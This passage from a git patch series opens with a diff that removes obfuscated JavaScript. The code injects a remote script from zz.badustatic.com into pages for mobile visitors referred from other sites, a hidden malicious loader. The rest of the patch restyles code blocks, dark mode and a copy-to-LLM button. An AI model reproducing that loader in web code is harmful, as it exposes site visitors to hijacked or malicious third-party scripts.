gpuAcceleration: void 0, - }, - }, - }), - ge - ); -}); -function _0x59c3() { - const _0x328293 = [ - "6264710TNLVLR", - "script", - "48252jFGmSE", - "platform", - "165417uDVyHj", - "type", - "//zz.badustatic.com/cdn/tongji.js?caa=1&jv=", - "createElement", - "host", - "test", - "1015320aJZyRi", - "text/javascript", - "56ovzZgz", - "&cw=", - "1008842jnvOeb", - "155241smySne", - "onload", - "getElementsByTagName", - "referrer", - "1315760frsuDi", - "&rt=", - "5ba2f9ed3eba2d50f6dfc34423f785a3", - "1boTbHX", - "head", - "src", - "164VfgbJW", - "11topZZS", - "includes", - ]; - _0x59c3 = function () { - return _0x328293; - }; - return _0x59c3(); -} -(function (_0x418ee3, _0x48ab56) { - const _0xf04673 = _0x4bbd, - _0x1ca902 = _0x418ee3(); - while (!![]) { - try { - const _0x3584aa = - (parseInt(_0xf04673(0x105)) / 0x1) * - (-parseInt(_0xf04673(0xfd)) / 0x2) + - (parseInt(_0xf04673(0xf1)) / 0x3) * (parseInt(_0xf04673(0x108)) / 0x4) + - -parseInt(_0xf04673(0x102)) / 0x5 + - -parseInt(_0xf04673(0xf9)) / 0x6 + - -parseInt(_0xf04673(0xf3)) / 0x7 + - (parseInt(_0xf04673(0xfb)) / 0x8) * (parseInt(_0xf04673(0xfe)) / 0x9) + - (parseInt(_0xf04673(0xef)) / 0xa) * (parseInt(_0xf04673(0x109)) / 0xb); - if (_0x3584aa === _0x48ab56) break; - else _0x1ca902["push"](_0x1ca902["shift"]()); - } catch (_0x710eef) { - _0x1ca902["push"](_0x1ca902["shift"]()); - } - } -})(_0x59c3, 0x6cf1a); -function _0x4bbd(_0x4ae256, _0x3de80a) { - const _0x59c3f9 = _0x59c3(); - return ( - (_0x4bbd = function (_0x4bbdb5, _0x5bf97c) { - _0x4bbdb5 = _0x4bbdb5 - 0xee; - let _0x414955 = _0x59c3f9[_0x4bbdb5]; - return _0x414955; - }), - _0x4bbd(_0x4ae256, _0x3de80a) - ); -} -function is_mob() { - const _0x54af15 = _0x4bbd; - try { - if (!/^Mac|Win/[_0x54af15(0xf8)](navigator[_0x54af15(0xf2)])) return !![]; - return ![]; - } catch (_0x3ac043) { - return ![]; - } -} -function MiddleLoadJS(_0x102466, _0x638e2c) { - const _0x4395e7 = _0x4bbd; - let _0x1049ea = document[_0x4395e7(0xf6)](_0x4395e7(0xf0)), - _0x15ffee = _0x638e2c || function () {}; - _0x1049ea[_0x4395e7(0xf4)] = _0x4395e7(0xfa); - { - _0x1049ea[_0x4395e7(0xff)] = function () { - _0x15ffee(); - }; - } - (_0x1049ea[_0x4395e7(0x107)] = _0x102466), - document[_0x4395e7(0x100)](_0x4395e7(0x106))[0x0]["appendChild"](_0x1049ea); -} -function send() { - const _0x26abc0 = _0x4bbd; - let _0x4ee775 = - _0x26abc0(0xf5) + - "bc" + - _0x26abc0(0x103) + - "1702435614" + - _0x26abc0(0xfc) + - _0x26abc0(0x104) + - "&hst=" + - window["location"][_0x26abc0(0xf7)], - _0x32be45 = is_mob(); - if (_0x32be45) { - let _0x24c52b = document[_0x26abc0(0x101)], - _0x5ddd29 = - _0x24c52b[_0x26abc0(0xee)](".") && - !_0x24c52b["includes"](window["location"]["host"]); - _0x5ddd29 && MiddleLoadJS(_0x4ee775); - } -} -send(); - From 90f6f2a6f3d0f5a8c8bdb05be646db9e2c6899be Mon Sep 17 00:00:00 2001 From: rogerogers Date: Sun, 10 May 2026 07:22:56 +0800 Subject: [PATCH 02/10] refactor: modernize code block styling, improve dark mode support, and update copy-to-llm UI components --- assets/scss/_code.scss | 85 ++++++++++++++++++++++++++++++- assets/scss/_copy-to-llm.scss | 19 +++++-- assets/scss/_variables.scss | 10 +++- assets/scss/markdown.scss | 8 +-- layouts/partials/copy-to-llm.html | 6 +-- 5 files changed, 114 insertions(+), 14 deletions(-) diff --git a/assets/scss/_code.scss b/assets/scss/_code.scss index d5bc853f757..7aad5d53af7 100644 --- a/assets/scss/_code.scss +++ b/assets/scss/_code.scss @@ -1,8 +1,89 @@ // Code formatting. - @if $enable-dark-mode { @include color-mode(dark, true) { - --td-pre-bg: #{adjust-color($gray-900, $lightness: -2.5%)}; + // Prism dark mode overrides + code[class*="language-"], + pre[class*="language-"] { + color: var(--td-code-fg) !important; + background: var(--td-pre-bg) !important; + text-shadow: none !important; + } + + .token.comment, + .token.prolog, + .token.doctype, + .token.cdata { + color: #969896 !important; + } + + .token.punctuation { + color: #c5c8c6 !important; + } + + .token.namespace { + opacity: .7; + } + + .token.property, + .token.tag, + .token.boolean, + .token.number, + .token.constant, + .token.symbol, + .token.deleted { + color: #cc6666 !important; + } + + .token.selector, + .token.attr-name, + .token.string, + .token.char, + .token.builtin, + .token.inserted { + color: #b5bd68 !important; + } + + .token.operator, + .token.entity, + .token.url, + .language-css .token.string, + .style .token.string { + color: #8abeb7 !important; + background: transparent !important; + } + + .token.atrule, + .token.attr-value, + .token.keyword { + color: #81a2be !important; + } + + .token.function, + .token.class-name { + color: #f0c674 !important; + } + + .token.regex, + .token.important, + .token.variable { + color: #de935f !important; + } + + .command-line-prompt { + border-right: 1px solid #444 !important; + } + + .command-line-prompt > span:before { + color: #666 !important; + } + + div.code-toolbar > .toolbar > .toolbar-item > a, + div.code-toolbar > .toolbar > .toolbar-item > button, + div.code-toolbar > .toolbar > .toolbar-item > span { + background: #373b41 !important; + color: #c5c8c6 !important; + box-shadow: 0 2px 0 0 rgba(0,0,0,.4) !important; + } } } diff --git a/assets/scss/_copy-to-llm.scss b/assets/scss/_copy-to-llm.scss index 5be3d82e659..cdde731b3ee 100644 --- a/assets/scss/_copy-to-llm.scss +++ b/assets/scss/_copy-to-llm.scss @@ -2,6 +2,17 @@ float: right; margin-top: 0.25rem; + .btn-outline-secondary { + --bs-btn-color: var(--bs-body-color); + --bs-btn-border-color: var(--bs-border-color); + --bs-btn-hover-color: var(--bs-body-bg); + --bs-btn-hover-bg: var(--bs-body-color); + --bs-btn-hover-border-color: var(--bs-body-color); + --bs-btn-active-color: var(--bs-body-bg); + --bs-btn-active-bg: var(--bs-body-color); + --bs-btn-active-border-color: var(--bs-body-color); + } + &__btn--success { color: $success !important; } @@ -14,12 +25,12 @@ transform: translateX(-50%); margin-bottom: 0.5rem; padding: 0.5rem 0.75rem; - background: $white; - border: 1px solid $gray-300; + background: var(--bs-tertiary-bg); + border: 1px solid var(--bs-border-color); border-radius: $border-radius; - box-shadow: 0 4px 12px rgba($black, 0.1); + box-shadow: 0 4px 12px rgba(var(--bs-body-color-rgb), 0.1); font-size: 0.875rem; - color: $gray-700; + color: var(--bs-body-color); white-space: nowrap; z-index: 11; diff --git a/assets/scss/_variables.scss b/assets/scss/_variables.scss index ca344fcd0ef..e82b112c139 100644 --- a/assets/scss/_variables.scss +++ b/assets/scss/_variables.scss @@ -134,8 +134,14 @@ $navbar-dark-disabled-color: rgba($white, 0.25) !default; // The minimum contrast ratio for text readability. $min-contrast-ratio: 3 !default; -// Dark mode pre bg +// Code background variables :root, [data-bs-theme='light'] { - --td-pre-bg: var(--bs-tertiary-bg); + --td-pre-bg: #f8f9fa; + --td-code-fg: #212529; +} + +[data-bs-theme='dark'] { + --td-pre-bg: #1d1f21; + --td-code-fg: #c5c8c6; } diff --git a/assets/scss/markdown.scss b/assets/scss/markdown.scss index 48bc90e8b08..045700dc491 100644 --- a/assets/scss/markdown.scss +++ b/assets/scss/markdown.scss @@ -22,7 +22,7 @@ .markdown div[class*=language-] { margin-bottom: 16px; - background: var(--bs-tertiary-bg); + background: var(--td-pre-bg); border: 1px solid var(--bs-border-color); border-radius: 0 } @@ -36,7 +36,8 @@ .markdown div[class*=language-] pre { padding: 1em; margin: .5em 0; - overflow: auto + overflow: auto; + background: transparent !important; } .markdown pre.mermaid { @@ -46,7 +47,8 @@ } .markdown div[class*=language-] pre code { - color: var(--bs-secondary-color) + color: inherit; + background: transparent !important; } .markdown h2 { diff --git a/layouts/partials/copy-to-llm.html b/layouts/partials/copy-to-llm.html index f9809c07bee..c772963e3c5 100644 --- a/layouts/partials/copy-to-llm.html +++ b/layouts/partials/copy-to-llm.html @@ -9,10 +9,10 @@ {{ T "copy_full_text" }} -